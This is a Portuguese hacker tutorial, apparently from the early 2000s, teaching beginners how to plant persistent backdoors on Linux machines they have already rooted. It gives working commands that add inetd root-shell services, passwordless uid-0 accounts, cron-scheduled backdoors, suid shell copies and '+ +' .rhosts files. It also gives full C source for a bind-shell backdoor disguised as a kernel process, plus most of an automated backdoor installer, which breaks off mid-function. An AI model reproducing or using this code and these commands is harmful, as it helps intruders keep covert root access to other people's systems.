########################################################################
######################### UNSEKURITY TEAM ##############################
########################################################################


Desenvolvido por Nash Leon vulgo coracaodeleao.
nashleon@yahoo.com.br
Thanks Unsekurity Team.

Estes e outros tutoriais podem ser obtidos em:
http://unsekurity.virtualave.net/
http://unsekurity.cyberpunk.com.br/

AVISO: Nao nos responsabilizamos pelo mau uso das informacoes
       disponibilizadas neste arquivo texto, bem como o mau uso dos
       exemplos e dados aqui disponiveis.Todas as informacoes descritas
       neste tutorial tem somente propositos educacionais.
       

Meu inimigo tempo vem vencendo muitas batalhas, mesmo sendo uma guerra
cansativa, pretendo ainda disponibilizar muitos e muitos materiais, caso
nao aconteca algo comigo,logico!! Muita gente tem acompanhado nossas
publicacoes e opinado a respeito delas, acho isso mais do que valido,
criticas,sugestoes sempre serao bem-vindas, tudo em prol de melhorarmos
cada vez mais o modo como estamos abordando todos esses assuntos.
Nesse txt abordaremos duas das mais conhecidas tecnicas fucadoras, nao sao
tecnicas de invasao e sim tecnicas para permitir que futuras invasoes
a mesma rede sejam mais faceis e sem obstaculos, as tecnicas de backdoor,
tambem conhecidas como porta-dos-fundos e os famosos trojans horses
(cavalos de troia), tudo voltado para o sistema operacional linux.
Irei abordar algumas dessas tecnicas, umas consideradas basicas outras
um pouco mais avancadas, mas como em todos os meus txts o publico alvo
sao os NewBies de modo que se voce eh elite, este txt tambem 
nao servirah para voce.


		        ----------------------------
		       |    BACKDOORS E TROJANS     | 
			---------| PARTE 1 |--------
				

-------------------------------- INDICE ---------------------------------

1. INTRODUCAO
2. DIFERENCA ENTRE OS DOIS CONCEITOS
3. BACKDOORS
   3.1. Tecnicas Antigas e Ultrapassadas 
   3.2. Tecnicas Mais Atuais
   3.3. Rootkits
   3.4. Sugestoes
4. TROJANS HORSES
   4.1. Alguns Tipos Basicos
   4.2. Sugestoes
5. TERMINANDO
   5.1. Links e Referencias
   5.2. Consideracoes Finais
-------------------------------------------------------------------------


--------------
1. INTRODUCAO |
--------------

Backdoors e Trojans horses sao os programas mais pessoais que um fucador
pode fazer.A simples divulgacao de varios tipos de backdoors e trojans
fazem com que possiveis ataques usando esta tecnica sejam ineficientes.O
melhor modo sempre foi a criatividade e isso fucadores possuem de sobra.
Dependendo da perseveranca do fucador, essas backdoors e trojans podem de
fato ser um problema de dificil solucao para um administrador de redes.
Assim como acontece com os virus, a cada dia, essas tecnicas vao ficando
cada vez mais sofisticadas, e muitas delas sao mantidas em total segredo
por parte de seus idealizadores.Tendo em mente que voce eh um fucador
descente e que nao usarah para fins maldosos em usuarios comuns, vou
nesse simples tutorial descrever algumas das incontaveis tecnicas de
backdoor e trojan horses, lembrando que eh para NewBie que eu escreve,e
que estaremos trabalhando em sistemas linux, mas algumas dessas tecnicas
bem como os proprios conceitos podem muito bem serem expandidos para
outros sistemas operacionais, soh depende mesmo do fucador.Programacao
em C, assim como nos tutoriais anteriores se faz necessario, um basico
de assembler tambem cairia bem,mas nao eh necessario, ademais esperteza
por parte do fucador eh mais do que exigida. 

-------------------------------------
2. DIFERENCA ENTRE OS DOIS CONCEITOS |
-------------------------------------

Muita gente confunde backdoor com trojan horse.Muitas vezes faz-se
referencia a um quando na verdade eh o outro termo que estah em uso.Irei
descrever a diferenca nos conceitos para que nao haja duvidas quanto aos
termos, mas dependendo da forma como voce irah atacar, um programa
considerado trojan pode agir como uma backdoor,mas vejamos o significado
dos termos.

* BACKDOOR -> (Porta dos fundos,porta de tras), Eh o termo dado a uma
	      porta ou meio deixado por um fucador para acessos futuros
	      ao sistema invadido no intuito de poupar trabalho, e
	      consequentemente facilitar as coisas(invasoes) ao maximo.
	      As Backdoors englobam um conjunto de programas que podem
	      variar muito, indo de backdoors que abrem uma simples porta
	      com acesso shell, ateh sofisticados rootkits capazes de
	      automatizarem muitos processos para o fucador.Diferente dos
	      trojans horses, as backdoors necessitam de acesso local a
	      maquina, e em alguns casos o fucador necessita ter rootiado
	      (conseguido acesso de super usuario) o sistema.Dependendo
	      dos intuitos dos fucadores as backdoors podem ser tratadas 
              como grandes problemas para os adminitradores e os 
	      responsaveis pela seguranca das redes invadidas.Veremos isso
	      em detalhes mais a frente.

* TROJAN HORSE -> Trojans horses eh a moda do momento.Muita gente executa
	      diversos tipos de trojans,principalmente em sistemas Windows,
	      achando que isto eh uma forma efetiva de invasao.Os Trojans
	      Horses, assim como as backdoors, sao conceitos e tecnicas
	      antigas no mundo Unix, jah no mundo Windows, a popularizacao
	      desta tecnica se deu em meados de 98(pouco tempo,nao?) com
	      a divulgacao publica dos trojans NetBus e Back Orifice,se
	      nao me engano seguindo as possiveis praticas do NetCat.
	      Os Trojan Horses sao programas que geralmente sao enviados
	      por algum usuario malicioso para uma vitima inexperiente.Na
	      pratica, um trojan soh pode funcionar perfeitamente com o
	      "consentimento" do usuario que o recebeu.Em sistemas Linux,
	      como existem as permissoes de execucao e etc, as limitacoes
	      que este tipo de tecnica pode possuir sao muitas, diferente
	      do Windows onde um usuario executa o trojan e poe toda a
	      rede em perigo.Os Trojans nada mais sao que "presentes de
	      gregos"(Giria em portugues), sendo que sua variacao eh
	      bastante ampla.Tenhamos em mente que uma backdoor eh feita 
	      quando jah estamos com acesso na maquina vitima, e um trojan 
              horse eh usado quando ainda nao estamos com acesso na maquina 
	      vitima e queremos que algum usuario abra uma porta para que 
              possamos entrar,logo enviamos o trojan e o sucesso que ele 
	      poderah obter dependerah unicamente do usuario que o recebeu.

Espero ter deixado claro os conceitos relacionados aos termos em questao.
Vamos prosseguindo.


-------------
3. BACKDOORS |
-------------

Sem sombra de duvida, as backdoors sao tao fascinantes quanto qualquer
outra tecnica usada por fucadores.A criatividade que envolve essa tecnica
eh tanta, que muita gente considerada fazer uma backdoor nova uma arte.
Invadir sistemas muitas vezes eh uma tarefa ardua e trabalhosa,as vezes
leva-se dias,semanas e ateh meses para que uma investida a um sistema seja
plenamente realizada e bem sucedida, uma vez dentro do sistema, o fucador,
geralmente, nao quer perder mais aquele tao suado acesso a maquina de modo
que ele trata de modificar o sistema para que no futuro ele consiga acesso
com o minimo possivel de esforco, isso eh bastante comum quando se utiliza
exploits remotos(em especial buffer overflows).
As Backdoors sao bastante pessoais, muita gente possui tecnicas de fazer
backdoors exclusivas, que ateh mesmo ninguem no mundo ainda conhece.O
pessoal da seguranca possui conhecimento sobre a maioria das tecnicas mais
divulgadas, mas isso nao impede que um dia voce possa descobrir uma nova
tecnica que ainda nao foi divulgada internet a fora, por isso amigo,estude!


3.1. Tecnicas antigas e ultrapassadas
--------------------------------------

"Se voce jah conhece estes tipos de backdoor, nao hesite em saltar para
o proximo item, nao pense que eh muito agradavel ter que escrever isto
aqui nao mano!"

Eu nao iria escrever essas tecnicas, mas como eh voltado a NewBie, vou
partir do pre-suposto que isto pode ser util para alguem ainda,mas jah
adianto, eh bom apenas conhecer essas tecnicas, mas nao usa-las, pois 
estao ultrapassadas, e na maioria das redes, elas sao de facil percepcao
pelos administradores da rede.Mais abaixo iremos ver algumas tecnicas
mais atuais e mais dificeis do administrador perceber facilmente.Alem do
mais, algumas dezenas de grupos e pessoas jah escreveram materiais sobre 
estas backdoors.

3.1.1 - Inetd
--------------

Essa eh uma das mais classicas, sem sombra de duvida, 99 em cada 100
administradores de redes "unix" possuem conhecimento dela, de modo que
nao eh aconselhavel seu uso.Mas Veremos alguns modos de se construir uma
backdoor deste tipo.

Comece abrindo seu proprio arquivo /etc/inetd.conf.Vou disponibilizar
abaixo dois tipos de arquivo /etc/inetd.conf, o primeiro de um sistema
AIX, o outro de um sistema linux, irei colocar o do AIX para que voce
possa comparar os dois arquivos somente.
-------------------------------------------------------------------------
## @(#)62	1.17.1.6  src/tcpip/etc/inetd.conf, tcpip, tcpip411, 
## GOLD410 7/13/94 10:53:12
## 
## COMPONENT_NAME: TCPIP inetd.conf
## 
## FUNCTIONS: 
##
## ORIGINS: 26  27
##
## (C) COPYRIGHT International Business Machines Corp. 1993
## All Rights Reserved
## Licensed Materials - Property of IBM
##
## US Government Users Restricted Rights - Use, duplication or
## disclosure restricted by GSA ADP Schedule Contract with IBM Corp.
##
#######################################################################
##
##                 Internet server configuration database
##
##	Services can be added and deleted by deleting or inserting a
##	comment character (ie. #) at the beginning of a line  If inetd
##	is running under SRC control then the "refresh -s inetd" command
##	needs to be executed for inetd to re-read the inetd.conf file.
##
##	NOTE: The TCP/IP servers do not require SRC and may be started
##	by invoking the service directly (i.e. /etc/inetd). If inetd
##	has been invoked directly, after modifying this file, send a
##	hangup signal, SIGHUP to inetd (ie. kill -1 "pid_of_inetd").
##
##	NOTE: The services with socket type of "sunrpc_tcp" and "sunrpc_udp"
##	require that the portmap daemon be running.
##	Also please use ## to designate comments in this file so that
## 	the smit commands can edit this file correctly.
##
## service  socket  protocol  wait/  user    server    server program
##  name     type             nowait         program     arguments
##
# nntp    stream  tcp     nowait  news    /usr/local/sbin/leafnode
##
telnet  stream  tcp     nowait  root    /usr/sbin/in.telnetd      telnetd
shell   stream  tcp     nowait  root    /usr/sbin/rshd         rshd
login   stream  tcp     nowait  root    /usr/sbin/rlogind      rlogind
#exec    stream  tcp     nowait  root    /usr/sbin/rexecd       rexecd
#pop3	stream	tcp	nowait	root	/usr/sbin/popper       popper -s
# poppassd	stream	tcp	nowait	root	/usr/local/bin/poppassd poppassd
#tacacs dgram udp wait root /etc/xtacacsd xtacacsd -dlc /etc/xtacacsd-conf
#netbios-ssn stream tcp nowait root /usr/local/bin/smbd smbd
#netbios-ns dgram udp wait root /usr/local/bin/nmbd nmbd
#comsat dgram   udp     wait    root    /usr/sbin/comsat       comsat
#uucp   stream  tcp     nowait  root    /usr/sbin/uucpd        uucpd
#bootps	dgram   udp     wait    root    /usr/sbin/bootpd       bootpd /etc/bootptab
##
## Finger, systat and netstat give out user information which may be
## valuable to potential "system crackers."  Many sites choose to disable
## some or all of these services to improve security.
##
#finger stream  tcp     nowait  nobody  /usr/sbin/fingerd     fingerd
#systat	stream	tcp	nowait	nobody	/usr/bin/ps           ps -ef
#netstat stream	tcp	nowait	nobody	/usr/bin/netstat      netstat -f inet
#
#tftp	 dgram	udp	wait	nobody	/usr/sbin/tftpd		tftpd -n
#talk   dgram   udp     wait    root    /usr/sbin/in.talkd         talkd
#ntalk   dgram   udp     wait    root    /usr/sbin/talkd         talkd
# 
# rexd uses very minimal authentication and many sites choose to disable
# this service to improve security.
#
#rexd	 sunrpc_tcp	tcp	wait	root	/usr/sbin/rpc.rexd rexd 100017 1
#uucc     stream         tcp     nowait  root    /usr/sbin/uucc uucc -i
echo	stream	tcp	nowait	root	internal
discard	stream	tcp	nowait	root	internal
#chargen	stream	tcp	nowait	root	internal
#daytime	stream	tcp	nowait	root	internal
#time	stream	tcp	nowait	root	internal
#echo	dgram	udp	wait	root	internal
ftp	stream	tcp	nowait	root	/usr/sbin/wu.ftpd wu.ftpd
-----------------------------------------------------------------------

Esse de cima eh a do AIX de uma rede amiga..:).. Voce pode notar na ultima
linha que este admin teve a audacia de instalar um wu.ftpd num AIX!
Abaixo a gente ve um /etc/inetd.conf de um Red Hat linux.

-----------------------------------------------------------------------

#
# inetd.conf	This file describes the services that will be available
#		through the INETD TCP/IP super server.  To re-configure
#		the running INETD process, edit this file, then send the
#		INETD process a SIGHUP signal.
#
# Version:	@(#)/etc/inetd.conf	3.10	05/27/93
#
# Authors:	Original taken from BSD UNIX 4.3/TAHOE.
#		Fred N. van Kempen, <waltje@uwalt.nl.mugnet.org>
#
# Modified for Debian Linux by Ian A. Murdock <imurdock@shell.portal.com>
#
# Modified for RHS Linux by Marc Ewing <marc@redhat.com>
#
# <service_name> <sock_type> <proto> <flags> <user> <server_path> <args>
#
# Echo, discard, daytime, and chargen are used primarily for testing.
#
# To re-read this file after changes, just do a 'killall -HUP inetd'
#
#echo	stream	tcp	nowait	root	internal
#echo	dgram	udp	wait	root	internal
#discard	stream	tcp	nowait	root	internal
#discard	dgram	udp	wait	root	internal
#daytime	stream	tcp	nowait	root	internal
#daytime	dgram	udp	wait	root	internal
#chargen	stream	tcp	nowait	root	internal
#chargen	dgram	udp	wait	root	internal
#
# These are standard services.
#
ftp	stream	tcp	nowait	root	/usr/sbin/tcpd	in.ftpd -l -a
telnet	stream  tcp 	nowait  root    /usr/sbin/tcpd	in.telnetd
gopher	stream  tcp 	nowait  root    /usr/sbin/tcpd	gn

# do not uncomment smtp unless you *really* know what you are doing.
# smtp is handled by the sendmail daemon now, not smtpd.  It does NOT
# run from here, it is started at boot time from /etc/rc.d/rc#.d.
#smtp	stream  tcp 	nowait  root    /usr/bin/smtpd	smtpd
#nntp	stream	tcp	nowait	root	/usr/sbin/tcpd	in.nntpd
#
# Shell, login, exec and talk are BSD protocols.
#
shell	stream	tcp	nowait	root	/usr/sbin/tcpd	in.rshd
login	stream	tcp	nowait	root	/usr/sbin/tcpd	in.rlogind
#exec	stream	tcp	nowait	root	/usr/sbin/tcpd	in.rexecd
talk	dgram	udp	wait	root	/usr/sbin/tcpd	in.talkd
ntalk	dgram	udp	wait	root	/usr/sbin/tcpd	in.ntalkd
#dtalk	stream	tcp	waut	nobody	/usr/sbin/tcpd	in.dtalkd
#
# Pop and imap mail services et al
#
pop-2   stream  tcp     nowait  root    /usr/sbin/tcpd	ipop2d
pop-3   stream  tcp     nowait  root    /usr/sbin/tcpd	ipop3d
imap    stream  tcp     nowait  root    /usr/sbin/tcpd	imapd
#
# The Internet UUCP service.
#
#uucp	stream	tcp	nowait	uucp	/usr/sbin/tcpd	/usr/lib/uucp/uucico	-l
#
# Tftp service is provided primarily for booting.  Most sites
# run this only on machines acting as "boot servers." Do not uncomment
# this unless you *need* it.  
#
#tftp	dgram	udp	wait	root	/usr/sbin/tcpd	in.tftpd
#bootps	dgram	udp	wait	root	/usr/sbin/tcpd	bootpd
#
# Finger, systat and netstat give out user information which may be
# valuable to potential "system crackers."  Many sites choose to disable 
# some or all of these services to improve security.
#
# cfinger is for GNU finger, which is currently not in use in RHS Linux
#
finger	stream	tcp	nowait	root	/usr/sbin/tcpd	in.fingerd
#cfinger stream	tcp	nowait	root	/usr/sbin/tcpd	in.cfingerd
#systat	stream	tcp	nowait	guest	/usr/sbin/tcpd	/bin/ps	-auwwx
#netstat	stream	tcp	nowait	guest	/usr/sbin/tcpd	/bin/netstat	-f inet
#
# Time service is used for clock syncronization.
#
time	stream	tcp	nowait	nobody	/usr/sbin/tcpd	in.timed
time	dgram	udp	wait	nobody	/usr/sbin/tcpd	in.timed
#
# Authentication
#
auth   stream  tcp     nowait    nobody    /usr/sbin/in.identd in.identd -l -e -o
#
# End of inetd.conf
----------------------------------------------------------------------------

Voce pode de cara ir percebendo a semelhanca.Isso eh logico, pois o
inetd eh um servico unix padrao usado em muitos sistemas.Voce pode pegar
o arquivo inetd.conf do AIX e colocar num linux que ele serah lido
perfeitamente, o mesmo se dah em outros unix.

Uma vez que voce obteve acesso ao sistema e conseguiu root nele, para
fazer uma backdoor usando o inetd eh bastante simples.Irei descrever por
menores da forma como o programa inetd interpreta ou entende este arquivo
de configuracao.
Pegaremos uma linha referente a um servico, por exemplo, finger:

finger  stream  tcp     nowait  root    /usr/sbin/tcpd  in.fingerd

Onde:

finger -> nome do servico propriamente dito.

stream -> Tipo de socket em que ele eh manipulado,caso tenha duvidas,leia
	  meus tutoriais sobre programacao de sockets para linux.

tcp -> Tipo de protocolo usado pelo socket.tcp usa stream.

nowait -> Se espera quando alguem conectar, nesse caso nao.

root -> O usuario que rodarah o processo,geralmente eh root

/usr/sbin/tcpd -> PATH aonde se encontra o executavel referente ao servico.

in.fingerd -> parametros para o servico,mas nesse caso,nao possui nenhum.


A mesma definicao se aplica para as outras linhas referentes aos outros
servicos.Eh por isso que um arquivo inetd dum AIX pode ser usado em um
linux e vice-versa, pois seguem esta mesma notacao.

Sabendo disso, tudo que devemos fazer eh alterar este mesmo arquivo para
executar a nossa backdoor.Existem diversas formas de se fazer isso, irei
descrever apenas algumas.

* Acrescentar servico executando shell:
---------------------------------------

Voce pode acrescentar uma linha do tipo:

ingreslock stream  tcp  nowait   root     /bin/sh     sh

Isto farah com que seja aberta uma porta(1524) com shell root.

* Acrescentar uma porta com shell:
----------------------------------

Segue o mesmo esquema descrito acima,mas ao inves de ingreslock colocamos
o numero da porta que queremos abrir.Ex:

20000 stream  tcp  nowait   root     /bin/sh     sh -i

Esse -i eh uma opcao da shell "sh" para torna-la interativa.Teste.

* Trocar o executavel de um servico:
-------------------------------------

Creio que para inetd este eh o esquema mais interessante, pelo menos que
eu conheca.O que se faz eh trocar o arquivo executavel de um servico por
outro.Um exemplo, poderia ser descrito numa rede aonde auth nao eh usado,
ou usado muito pouco, teriamos:

auth   stream  tcp     nowait    nobody    /usr/sbin/in.identd in.identd -l -e
 
logo o executavel de auth se encontra em /usr/sbin/in.identd, renomeamos 
ou movemos este arquivo em seguida copiamos uma shell para este Path, e
alteramos o inetd.conf.Um esquema para isso segue abaixo:

[Vitima@lamer.com]# cp /bin/sh /usr/sbin/in.identd
[Vitima@lamer.com]# chmod 4777 /usr/sbin/in.identd

Depois alteramos o inetd.conf:

auth   stream  tcp     nowait    nobody    /usr/sbin/in.identd in.identd

Basta isso.Reiniciamos e veremos que nos temos uma shell root na porta
do auth(113).

Esse esquema eh bom somente se um servico nao estah sendo usado, ou eh
muito pouco requisitado, geralmente quem deixa auth aberto eh pq o usa
muito, mas o mesmo conceito pode ser aplicado aos outros servicos.

3.1.2 - Acrescentar Usuario com uid e gid 0 no /etc/passwd Sem Senha
---------------------------------------------------------------------

Se voce der uma analisada na estrutura de seu arquivo /etc/passwd notarah
algumas coisas.O arquivo /etc/passwd possui o seguinte esquema:

<login>:<senha>:<uid>:<gid>:<dados pessoais>:<diretorio home>:<shell>

Acho que nao preciso nem explicar o significado destes campos.Nesse tipo
de backdoor, o invasor, apos conseguir root, acrescenta ou altera dados
referente a um usuario.Ele poderia, por exemplo, fazer o seguinte:

[Vitima@lamer.com]# echo "hacker::0:0::/:/bin/sh" >> /etc/passwd

Acrescentaria um usuario de login igual a "hacker" sem senha e com uid e
gid iguais a zero(root).

Mas isso eh muito conhecido, e muitas vezes, o que o invasor faz eh
acrescentar um usuario com dados validos, sem uid e gid iguais a zero,
somente sem senha.Ou mesmo retirar a senha de um usuario jah perfeitamente
cadastrado no sistema, para isso, basta retirar aquele "x" ou "*" que se
encontra apos o login.


3.1.3 - Crond
--------------

Este metodo tambem eh bem velho e conhecido.O crond eh um daemon que
serve para executar determinadas tarefas em determinados momentos(hora,
tempo,etc..).Uma vez conseguido acesso root, poderiamos utilizar o 
crond de um sistema para executar uma backdoor numa determinada hora.
A programacao de tarefas usando o crond eh facil, basta criarmos um
arquivo de configuracao(conhecido como crontab) de um usuario, no nosso
caso o que vai nos interessar eh o root.O arquivo segue o seguinte
esquema:

<time-date> <command>

Onde:
<time-date> consiste em cinco campos numericos, cada um separado por
espacos, e indicam quando uma tarefa deve ser executada.Os cinco campos
(em ordem), sao:

* Minute -> Para os minutos(0 a 59).
* Hour -> Para as horas(0 a 23).
* Day of Month -> Para os dias do mes(0 a 31).
* Month -> Para os meses do ano(0 a 12 ou as primeiras tres letras do
	   nome do mes).
* Day of Week -> Para os dias da semana(0 a 7 ou as tres primeiras letras
		 do  nome do dia).

Exemplo de um arquivo crontab segue abaixo:

0   1   *   *   *  /usr/local/bin/backup
30  14  2  feb  *  /usr/local/bin/backup

Na primeira linha, o comando "/usr/local/bin/backup" eh realizado todo dia
as 1 hora da madrugada, na segunda linha ele eh realizado todo dia 2 de
fevereiro as 14 horas e 30 minutos.
Para carregar este arquivo basta digitarmos:

[vitima]# crontab <nome_do_arquivo>

Sabendo disso entao poderemos finalmente usar o crond para nossos
intuitos.Vejamos abaixo alguns exemplos do uso desse daemon como backdoor:

+ Criamos um arquivo com nossas configuracoes, exemplo:

30 01 * * fri /bin/echo "hacker::0:0::/:/bin/sh" >> /etc/passwd

No exemplo acima, toda sexta-feira as 1 e 30 da madrugada eh acrescentado
um usuario "hacker" com uid e gid 0 no arquivo passwd.

0 23 5 * * /bin/echo "20000 tcp stream nowait root /bin/sh sh -i" >> /etc/inetd.conf
2 23 5 * * /bin/killall -1 inetd

No exemplo acima, todo dia 5 de cada mes as 23 horas eh acrescentado um
servico no /etc/inetd.conf que binda uma root shell a porta 20000, e 2 
minutos apos isso, o inetd eh reiniciado para que a backdoor possa ser
inicializada.

Como podemos ver, existem algumas dezenas de possiveis esquemas para
backdoor via crond.Mas como todas as backdoors descritas neste item, esta
tambem jah eh amplamente difundida e de facil percepcao.

3.1.4 - Links do /etc/passwd 
-----------------------------

Esta backdoor consiste em linkar o arquivo de senhas(passwd, shadow, etc)
a um arquivo qualquer que possa ser lido no futuro por qualquer usuario.
Vejamos alguns possiveis exemplos disso:

+ Linkando o /etc/passwd para um arquivo .forward de fingerd.

[Vitima@lamer.com]# ln  /etc/passwd /home/hacker/.forward
[Vitima@lamer.com]# chmod 4777 /home/hacker/.forward

Nesse caso necessita-se da abertura do fingerd no sistema local(Acreditem,
ainda existem muitos sistemas com isso aberto!!Que diga uma grande
Biblioteca Nacional!!:)).Feito isso, tudo que o fucador precisa fazer para 
ler este arquivo passa eh digitar "finger Vitima@lamer.com".


3.1.5 Copia do /bin/sh, /bin/bash ou qualquer outro tipo de shell
-------------------------------------------------------------------

Nesse Esquema nao tem segredo Nenhum.Tudo que o atacante precisa fazer, eh
como usuario root copiar uma determinada shell p/ um arquivo qualquer e
depois transforma-la em suid.Um esquema para isso seria, com acesso a uma
conta qualquer, o atacante executar os seguintes passos:

[Vitima@lamer.com]# cp /bin/bash /home/hacker/quimera.txt
[Vitima@lamer.com]# chmod +s /home/hacker/quimera.txt
 
Pronto.Depois, num futuro acesso como o usuario "hacker" tudo que ele
precisarah fazer eh digitar ./quimera.txt no seu diretorio home.Existem
dezenas de esquemas melhores p/ isso, alguns copiam a shell p/ o diretorio
/tmp ou /var/log/ ou qualquer diretorio onde no futuro ele saberah que irah
ter acesso.Sistemas novos nao permitem mais isso, mas existem maneiras de
se burlar essas restricoes, veja no item de backdoors mais avancadas um
esquema para burlar isso.


3.1.5 - .rhosts
----------------

O Servico rlogind(513) permite que um determinado usuario se logue sem a
necessidade de senha.Hoje em dia existem pouquissimas redes que ainda
utilizam este servico, em especial algumas universidades que tambem
utilizam sistemas NFS.De qualquer forma, eh uma tecnica bastante antiga
e muito, muito conhecida.Este servico procura no diretorio home um arquivo
chamado .rhosts com configuracoes(permissoes) de acesso a este servico.
Se o arquivo existe, as configuracao sao estabelecidas, senao, nada feito.
Uma vez obtido root, ou mesmo acesso a shell, se o servico login(513) estah
habilitado, tudo que o invasor necessita fazer para permitir eventuais
acessos futuros eh criar um arquivo .rhosts no diretorio home desejado.
Vejamos um esquema abaixo para isso:

[Vitima@lamer.com]# cd /root
[Vitima@lamer.com]# echo '+ +' >> .rhosts

Pronto.No exemplo acima, criamos o arquivo no diretorio do root, seria
pedir para o root achar essa backdoor, melhor esquema eh criar este
arquivo num diretorio de um usuario qualquer.Criado o arquivo, em
investidas futura, da sua rede, basta voce digitar:

$rlogin <host_com_a_backdoor> -l <usuario_dono_do_dir_home>

[NewBie]$ rlogin redelamer.com -l root

Logico.Assim como as outras, nao eh nada aconselhavel o uso desse
esquema, a nao ser para acesso rapido a um servidor.

3.1.6 - Backdoor Numa Porta Alta
---------------------------------

No tutorial sobre sockets, primeira parte, eu disponibilizei um esquema
de backdoor muito difundida na internet.Eh uma backdoor que binda uma
shell para uma determinada porta e camufla o argv[0] para dificultar a
percepcao do root em eventuais investigacoes do sistema.Abaixo segue
o codigo fonte deste programa, caso se interesse em saber como este
programa eh feito, vejo o tutorial sobre escrita de sockets em C para
linux que fiz na home page do Unsekurity Team.

--------------------------Backdoor usando Socket-------------------------

/* Backdoor em Socket simples...by Nash Leon
   Thanks Ramona e  Unsekurity Team.
   nashleon@yahoo.com.br
   http://unsekurity.virtualave.net
   Compile usando:
   $gcc -o back back.c
*/

/* HEADERS */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <signal.h>

#define MINHA_PORTA 20000 /* A porta do servidor */
#define BACKLOG        5 /* Ateh quantas conexoes */

int main(int argc, char *argv[])
{

   int Meusocket, Novosocket, tamanho;
   struct sockaddr_in local;
   struct sockaddr_in remote;
if(fork() == 0){

/* Aqui segue a esperteza..se alguem der ps aux,top, ou ver os processos
   que estao rodando verah o que estah copiado abaixo,no caso [kflushd],
   mude isso conforme o sistema onde serah executada a backdoor */

   strcpy(argv[0], "[kflushd]");
   signal(SIGCHLD, SIG_IGN);

   bzero(&local, sizeof(local));
   local.sin_family = AF_INET;
   local.sin_port = htons(MINHA_PORTA);
   local.sin_addr.s_addr = INADDR_ANY;

   bzero(&(local.sin_zero), 8);

Meusocket=socket(AF_INET, SOCK_STREAM, 0);
bind(Meusocket, (struct sockaddr *)&local, sizeof(struct sockaddr));
listen(Meusocket, BACKLOG);
tamanho = sizeof(struct sockaddr_in);

while(1)
 {
if((Novosocket=accept(Meusocket, (struct sockaddr *)&remote,&tamanho))
     {
             perror("accept");
             exit(1);
      }
      if(!fork())
          {
       close(0); close(1); close(2);
       dup2(Novosocket, 0); dup2(Novosocket, 1); dup2(Novosocket,2);
      execl("/bin/bash","bash","-i", (char *)0);
      close(Novosocket);
      exit(0);
          }

     }
   }
   return(0);
}

---------------------------------------------------------------------

Aih estah um esquema para backdoor bindando uma shell para a porta 20000
no caso.Este esquema tambem eh muito conhecido, de facil percepcao, mas
funciona ainda.Soh um detalhe, se nao aceita shell interativa, quando
der telnet e mandar os comandos, use ponto e virgula(;) no final de cada
comando enviado.

Essas daih sao as backdoors mais conhecidas.Em muitos sistemas hoje em
dia existem limitacoes consideraveis.Por Exemplo, em alguns linux, o
link para o .forward nao funciona mais, pois o fingerd jah filtra, a
copia da shell /bin/bash tornando-a um arquivo "suid" nao funciona, pois
alguns sistemas jah utilizam um artificio conhecido como getuid().Mas
isso nao eh um motivo para desanimar.Veremos esquemas bem mais eficazes
do que estes, que vimos acima.Gostaria que voce desse uma analisada no
programa abaixo, ele nao eh pratico, mas serve para exemplificar as 
backdoors que vimos acima.

------------------------------nlback.c----------------------------------

/* SIMPLES PROGRAMA AUTOMATIZADOR DE BACKDOORS ULTRAPASSADAS.
   EXECUTA E INSTALA ALGUMAS DAS MAIS CONHECIDAS BACKDOORS.
   DESENVOLVIDO POR NASHLEON VULGO CORACAODELEAO.
   nashleon@yahoo.com.br
   Thanks Unsekurity Team.
   http://unsekurity.virtualave.net/
   OBS: Este programa possui propositos educacionais.Foi Escrito
	para demonstracao de teorias de backdoors.Leia o tutorial
	sobre backdoors e trojans horses na home page citada acima
	para que possa entender os processos.Lembrando que o autor
	deste programa nao se responsabiliza pelo mau uso do mesmo.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define  ERRO	-1

int inetd();
int crond();
int passw();
int forward();
int suid();
int rlog();
int binda();
void uso(char *nome);

FILE *arquivo;

main(int argc, char *argv[]){
char *opcao;
if(argc != 2){
uso(argv[0]);
exit(0);
}
if(geteuid() != 0){
printf("Voce nao eh root mano!!\n");
printf("Nesse Esquema voce necessita ser!!\n");
printf("Leia tutorial sobre Backdoor e Trojans Horse!!\n");
exit(ERRO);
}
opcao = argv[1];
if(!strcmp(opcao,"inetd")){
inetd();
}
if(!strcmp(opcao,"crond")){
crond();
}
if(!strcmp(opcao,"passw")){
passw();
}
if(!strcmp(opcao,"fowar")){
forward();
}
if(!strcmp(opcao,"suid")){
suid();
}
if(!strcmp(opcao,"rlog")){
rlog();
}
if(!strcmp(opcao,"binda")){
binda();
}
if(!strcmp(opcao,"todas")){
system("clear");
printf("***** Instalando Todas As Backdoors *****\n\n");
inetd();
crond();
passw();
forward();
suid();
rlog();
binda(argv[0],argv[1]);
printf("\n\n*** Todas as Backdoors Foram Instaladas com Sucesso!! ***\n");
}
}
void uso(char *nome){
system("clear");
printf("****************** NL - AUTOMATIZADOR DE BACKDOORS ******************\n");
printf("\nUso: %s <tipo>\n\n",nome);
printf("Onde tipo pode ser:\n");
printf("inetd -> Acrescenta backdoor no /etc/inetd.conf.\n");
printf("crond -> Acrescenta backdoor via crond.\n");
printf("passw -> Acrescenta usuario uid 0 e gid 0 no /etc/passwd.\n");
printf("fowar -> Linka /etc/passwd a um arquivo .foward.\n");
printf("suid  -> Copia uma shell(/bin/sh) com suid root.\n");
printf("rlog  -> Cria arquivo .rhosts para rlogin.\n");
printf("binda -> Binda uma shell a uma determinada porta.\n");
printf("todas -> Instala todas as backdoors acima citadas.\n\n");
exit(0);
}
int inetd(){
char nome[20],coloca[50];
printf("**** Instalando Backdoor no inetd ****\n\n");
printf("Digite o nome do processo ou o numero da porta a acoplar: ");
scanf("%s",&nome);
sprintf(coloca,"%s\tstream\ttcp\tnowait\troot\t/bin/sh\tsh\n",nome);
arquivo = fopen("/etc/inetd.conf","a+");
if(arquivo == NULL){
fprintf(stderr,"Erro na abertura do arquivo!\n");
exit(ERRO);
}
fputs(coloca,arquivo);
fclose(arquivo);
if(fork() ==0){
execl("/bin/killall","killall","-1","inetd",0);
}
printf("Backdoor Instalada com Sucesso!!\n\n");
}

int crond(){
char hora[5],dia[5],mes[5],minuto[5],semana[5];
char coloca1[30], coloca2[40],coloca3[60],resposta[4], user[20];
char comando[50];
printf("**** Agendando crond para Executar uma backdoor ****\n\n");
printf("Digite o mes q vc quer q seja aberta a back(* p/ todos): ");
scanf("%s",&mes);
printf("Digite o dia q vc quer q seja aberta a back(* p/ todos): ");
scanf("%s",&dia);
